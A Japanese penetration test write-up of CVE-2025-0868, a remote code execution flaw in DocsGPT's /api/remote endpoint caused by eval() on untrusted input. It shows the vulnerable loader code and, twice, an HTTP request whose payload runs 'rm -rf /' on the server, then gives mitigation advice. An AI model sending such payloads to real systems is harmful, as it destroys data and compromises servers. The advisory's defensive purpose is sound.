
CVE-2025-0868の詳細なペネトレーションテストレポートとエクスプロイトデモ。DocsGPTの安全でないeval()による重大なRCEで、ラボセットアップ、ペイロード作成、緩和戦略を含みます。
オープンソースの DocsGPT ライブラリにおいて、JSON ペイロードを解析する際の eval() の安全でない使用が原因で、重大なリモートコード実行(RCE)の脆弱性(CVE-2025-0868)が 2025年2月20日に公開されました。
主な詳細:
この脆弱性により、攻撃者は /api/remote エンドポイントを介して任意の Python コードを実行できます。DocsGPT は、GPT モデルを使用してプロジェクトドキュメントを照会できるオープンソースの生成 AI ツールです。
| カテゴリ | 詳細 |
|---|---|
| CVE ID | CVE-2025-0868 |
| 影響を受けるソフトウェア | DocsGPT v0.8.1 – v0.12.0 |
| 脆弱性の種類 | リモートコード実行(RCE) |
| 攻撃ベクトル | ネットワークベース(/api/remote への HTTP リクエスト) |
| 根本原因 | 信頼できない JSON 入力に対する eval() の安全でない使用 |
| 影響 | サーバー全体の侵害(任意のコマンド実行) |
| CWE マッピング | CWE-77: コマンドで使用される特殊要素の不適切な無害化 |
ベクター: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
基本スコア: 9.3 (CRITICAL)
悪用可能性メトリクス:
影響メトリクス:
脆弱性は reddit_loader.py に存在し、そこではユーザー入力が安全でない eval() 関数を使用して処理されます:
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
これにより、攻撃者は JSON フィールド内で悪意のある Python コードを実行できます:
POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
この脆弱性を悪用するために、脆弱な環境と安全な作業スペースを以下のものを使用して再現しました:
私たちは、eval() の安全でない使用を悪用して、/api/remote エンドポイントに悪意のあるペイロードを送信することで、リモートコード実行(RCE)を実行する Python スクリプトを開発しました。
/api/remote エンドポイントの RCE。/api/remote に悪意のある JSON を送信します。POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
DocsGPT v0.12.1 およびレターバージョンに更新してください。
eval() を json.loads() に置き換えます。
リンク:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9